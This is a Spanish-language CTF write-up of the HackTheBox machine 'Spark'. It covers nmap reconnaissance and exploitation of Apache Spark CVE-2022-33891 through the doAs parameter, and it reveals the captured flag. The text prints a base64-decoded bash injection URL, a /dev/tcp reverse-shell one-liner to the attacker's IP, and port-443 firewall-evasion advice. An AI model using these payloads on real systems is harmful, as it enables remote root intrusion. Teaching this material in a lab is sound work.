// 01
Resumen
Spark es una máquina de dificultad muy fácil de HackTheBox que corre sobre Linux. El nombre hace referencia directa al servicio expuesto: Apache Spark, un motor de análisis de datos distribuido ampliamente usado en entornos de Big Data.
La máquina expone Apache Spark versión 3.0.3 en el puerto
8080. Esta versión es vulnerable a CVE-2022-33891, una
vulnerabilidad de OS Command Injection en la interfaz web de Spark UI.
Cuando spark.acls.enable está activado, la función
de verificación de permisos construye un comando de shell directamente desde la entrada
del usuario sin sanitización, permitiendo inyección arbitraria de comandos.
El flujo de ataque es directo: reconocimiento con nmap, identificación de la versión vulnerable en la UI web, clonado del PoC público de HuskyHacks, verificación de RCE mediante sleep, y finalmente establecimiento de una reverse shell como root usando netcat.
| Fase | Técnica / Herramienta | Resultado |
|---|---|---|
| Reconocimiento | ping + nmap -p- -sSCV + xsltproc | SSH 22, Spark Master 8080, Worker 8081, 35623 |
| Enumeración | Navegador → :8080 | Apache Spark 3.0.3 → CVE-2022-33891 |
| Explotación | CVE-2022-33891 PoC (python3 poc.py --check) | Sleep 10 confirma RCE como root |
| Post-Explotación | nc -lvnp 443 + poc.py --revshell | Shell interactiva como root |
| Flag | cat flag.txt | f8492d7f24b1f4c9505278382091a330 |
// 02
Reconocimiento
Antes de escanear, verificamos que el host esté activo enviando 3 paquetes ICMP. El TTL de la respuesta nos da una pista sobre el sistema operativo: valores cercanos a 64 indican Linux/Unix (el TTL inicial es 64, y cada hop reduce en 1). Un TTL de 63 confirma que estamos ante una máquina Linux con un salto entre nosotros y el objetivo.
Lanzamos un escaneo exhaustivo sobre todos los puertos TCP. El resultado revela 4 puertos abiertos relevantes: el puerto 22 con OpenSSH 8.2p1, el puerto 8080 con Spark Master (Jetty 9.4.40), el puerto 8081 con Spark Worker, y el puerto 35623 desconocido (que corresponde al puerto del worker interno). El header HTTP revela Jetty 9.4.40.v20210413 y los títulos de las páginas confirman los roles Spark Master y Spark Worker.
Exportamos el resultado a XML con -oX spark.xml
para luego transformarlo en HTML con xsltproc y tener evidencia visual del escaneo.
// DESGLOSE DEL COMANDO NMAP
-p- → Escanea los 65,535 puertos TCP. Sin esta flag Nmap revisaría solo los 1000 más comunes y perdería el puerto 35623.
-sS → SYN Scan (Half-Open): envía SYN, si recibe SYN-ACK el puerto está abierto, responde RST sin completar el handshake. Más rápido y sigiloso que un connect scan.
-sC → Scripts NSE por defecto: ejecuta scripts de enumeración automática, incluyendo http-title que nos da el título de la página web de Spark.
-sV → Detección de versiones: identifica el servidor Jetty y la versión exacta.
-n → Sin resolución DNS: acelera el escaneo.
-Pn → Sin ping previo: evita que el firewall bloquee el descubrimiento.
--min-rate=5000 → Mínimo 5000 paquetes/segundo, apropiado en CTF.
--open → Solo muestra puertos en estado OPEN.
-oX spark.xml → Exporta en XML para transformar con xsltproc.
Transformamos el XML generado por Nmap a una tabla HTML navegable usando la hoja de estilos oficial incluida en Kali. Esto nos da un reporte visual listo para incluir en informes de auditoría.
// 03
Enumeración Web — Identificación de la Versión
Navegamos al puerto 8080 del objetivo. La interfaz web de Spark Master muestra información crítica sin requerir autenticación: la versión exacta del software, los workers conectados, las aplicaciones en ejecución y la URL del cluster.
La página revela Apache Spark 3.0.3. Con este dato buscamos vulnerabilidades conocidas para esta versión específica y encontramos CVE-2022-33891: una vulnerabilidad de OS Command Injection que afecta a Apache Spark hasta la versión 3.0.3 (y ramas 3.1.x hasta 3.1.2, 3.2.x hasta 3.2.1).
// CVE-2022-33891 — APACHE SPARK OS COMMAND INJECTION
Versiones afectadas: Apache Spark ≤ 3.0.3, 3.1.x ≤ 3.1.2, 3.2.x ≤ 3.2.1
Componente: Spark UI con spark.acls.enable=true
Tipo: OS Command Injection (CWE-78)
Impacto: RCE como el usuario que ejecuta Spark (en este caso, root)
Vector: La función de verificación de ACLs construye un comando shell usando directamente el parámetro doAs de la URL sin sanitización. Un atacante puede inyectar comandos arbitrarios a través de este parámetro.
CVSS: 8.8 (Alto) — explotable remotamente sin autenticación previa.
// 04
Explotación — CVE-2022-33891
Descargamos el PoC (Proof of Concept) público de HuskyHacks
para CVE-2022-33891. Este script Python automatiza la explotación: construye
el payload en Base64, lo envía vía el parámetro doAs
en la URL de Spark UI, y gestiona tanto la verificación de vulnerabilidad como
el establecimiento de la reverse shell.
Kali Linux 2024+ impide instalar paquetes Python directamente en el sistema con
pip install para proteger la instalación del OS
(política PEP 668). La solución es crear un entorno virtual aislado,
instalar las dependencias ahí y activarlo antes de ejecutar el script.
// ¿POR QUÉ EL ENTORNO VIRTUAL?
Desde Kali 2024, pip install directo en el sistema está bloqueado por la política PEP 668.
El error externally-managed-environment te indica que el entorno Python está gestionado por el
gestor de paquetes del OS (apt). Instalar paquetes pip directamente podría romper dependencias del sistema.
La solución correcta: python3 -m venv venv crea un entorno Python aislado en la carpeta
venv/, con su propio pip y site-packages, sin tocar el sistema. Recuerda siempre activar
el entorno con source venv/bin/activate antes de usar el PoC.
Antes de lanzar la reverse shell, verificamos que el objetivo sea realmente
vulnerable. El flag --check hace que el PoC
inyecte un sleep 10: si la respuesta tarda exactamente 10 segundos,
el servidor está ejecutando nuestro comando, confirmando RCE. La URL construida
internamente por el PoC es del tipo:
http://10.129.228.19:8080/?doAs=`echo [base64] | base64 -d | bash`
// ¿POR QUÉ RESPONDE 403?
El código 403 (Forbidden) es la respuesta esperada y correcta. Spark UI devuelve 403 cuando el usuario no está autorizado — pero eso ocurre después de ejecutar el código de verificación de ACLs. El comando inyectado se ejecuta dentro de esa función de verificación, por lo que el 403 confirma que el flujo vulnerable fue alcanzado. 403 = la inyección llegó al punto vulnerable. Si el servidor no fuera vulnerable, respondería de forma diferente o no habría retardo.
// 05
Reverse Shell
Antes de lanzar el exploit con la reverse shell, abrimos un listener con netcat en el puerto 443. Usamos el puerto 443 porque es el puerto estándar de HTTPS y con frecuencia está permitido en firewalls, aumentando las posibilidades de que la conexión saliente del servidor llegue a nuestra máquina sin ser bloqueada.
Este listener queda a la espera de una conexión entrante. Cuando el PoC ejecute la reverse shell en el servidor, el servidor se conectará a nuestra IP y puerto, y recibiremos la shell.
// FLAGS DE NETCAT
-l → Listen mode: netcat espera conexiones entrantes en lugar de iniciar una.
-v → Verbose: muestra información sobre la conexión (IP origen, puerto).
-n → Sin resolución DNS: no intenta resolver IPs a nombres de host.
-p 443 → Puerto de escucha. Requiere sudo porque los puertos por debajo de 1024 son privilegiados en Linux.
Con el listener activo, ejecutamos el PoC con el flag
--revshell especificando nuestra IP
(-lh) y el puerto de escucha
(-lp). El PoC construye el payload de
reverse shell, lo codifica en Base64 y lo inyecta en el parámetro
doAs de Spark UI.
El comando inyectado internamente es del tipo:
sh -i >& /dev/tcp/10.10.16.5/443 0>&1,
que redirige stdin/stdout/stderr del servidor a nuestra máquina a través de TCP,
dándonos una shell interactiva.
// 06
Flag
En el terminal donde tenemos el listener de netcat, recibimos la conexión
del servidor. El prompt # y el resultado
de whoami confirman que somos
root: Apache Spark estaba corriendo con el usuario más
privilegiado del sistema, y la inyección de comandos nos dio acceso directo
con esos privilegios.
El archivo flag.txt se encuentra
en el directorio home de root (/root/).
// ¿POR QUÉ SOMOS ROOT?
Apache Spark fue iniciado por el usuario root en esta máquina. Cualquier proceso hijo que Spark genere heredará los permisos de root. Al inyectar un comando a través de CVE-2022-33891, ese comando se ejecuta en el contexto del proceso Spark, es decir, como root. En entornos de producción reales, Spark nunca debería ejecutarse como root — debería tener su propio usuario de servicio con privilegios mínimos. Este es un error de configuración adicional que agrava la severidad de la vulnerabilidad.
// 07
Referencia de Comandos
- -c N → Envía N paquetes ICMP y para. Sin -c, ping corre indefinidamente.
- TTL ≈ 64 → Linux/Unix (TTL inicial 64 menos hops).
- TTL ≈ 128 → Windows (TTL inicial 128 menos hops).
- -p- → Todos los 65,535 puertos TCP.
- -sS → SYN scan, requiere sudo.
- -sC -sV → Scripts NSE + detección de versiones.
- -oX → Exportar a XML para xsltproc.
- nmap.xsl → Hoja de estilos incluida en Kali con nmap.
- > file.html → Redirige el output al archivo HTML.
- -m venv → Módulo de Python para entornos virtuales.
- source activate → Activa el entorno (cambia el PATH a venv/bin/).
- deactivate → Desactiva el entorno virtual.
- -u → URL base del target (sin puerto).
- -p → Puerto de Spark UI.
- --check → Modo verificación con sleep 10.
- --verbose → Muestra el payload y la URL completa.
- --revshell → Modo reverse shell.
- -lh → IP local (nuestra VPN tun0).
- -lp → Puerto local donde escucha nc.
- -l → Modo escucha (listener).
- -v → Verbose: muestra IP y puerto del cliente.
- -n → Sin resolución DNS.
- -p → Puerto de escucha. Puerto 443 para evadir firewalls.
- --depth 1 → Clonar solo el último commit (más rápido).
- -b <branch> → Clonar una rama específica.
// 08
Glosario
spark.acls.enable=true, la función checkUIViewPermissions construye un comando shell usando directamente el parámetro doAs de la URL sin sanitización. El parámetro se pasa como argumento al binario de verificación de permisos, pero al estar sin escapar, un atacante puede usar backticks (`` ` ``) para inyectar comandos arbitrarios. El servidor ejecuta el payload en el contexto del proceso Spark. Publicado el 5 de julio de 2022 por Kostya Kortchinsky. Parcheado en Spark 3.0.4, 3.1.3, 3.2.2 y 3.3.0.;, |, &&, `` ` ``) para encadenar comandos adicionales. En CVE-2022-33891, la inyección se realiza con backticks en el parámetro doAs: la URL /?doAs=`comando` hace que el shell evalúe el contenido entre backticks antes de pasarlo como argumento al binario de verificación. Para evadir WAFs y caracteres especiales, el PoC codifica el payload en Base64 y lo decodifica en tiempo de ejecución: echo [base64] | base64 -d | bash.nc -lvnp [puerto]; (2) se inyecta el payload en el servidor (sh -i >& /dev/tcp/[IP]/[PORT] 0>&1); (3) el servidor abre una conexión TCP hacia el atacante y redirige su stdin/stdout/stderr a esa conexión; (4) el atacante recibe la shell. El uso del puerto 443 imita tráfico HTTPS saliente, reduciendo la probabilidad de que el firewall lo bloquee.http-server-header: Jetty(9.4.40.v20210413) revela tanto el servidor web como su versión, útil para buscar vulnerabilidades adicionales. Jetty 9.4.x es la serie LTS compatible con Java 8 y 11.pip install instale paquetes directamente en el sistema para evitar conflictos con los paquetes gestionados por apt. La solución es usar python3 -m venv para crear un entorno virtual aislado: una copia del intérprete Python con su propio directorio site-packages independiente del sistema. Al activar el entorno con source venv/bin/activate, el PATH prioriza venv/bin/, por lo que python y pip apuntan al entorno aislado. Los paquetes instalados ahí no afectan al sistema. Alternativas: pip install --break-system-packages (no recomendado) o pipx para aplicaciones.sh -i >& /dev/tcp/IP/PORT 0>&1) contiene caracteres como /, >, & y espacios que podrían interferir con el parsing de la URL o ser filtrados. Al codificarlo en Base64 y decodificarlo en tiempo de ejecución (echo [b64] | base64 -d | bash), se transmite una cadena alfanumérica segura que el servidor decodifica y ejecuta localmente, evadiendo los filtros de caracteres especiales en la URL.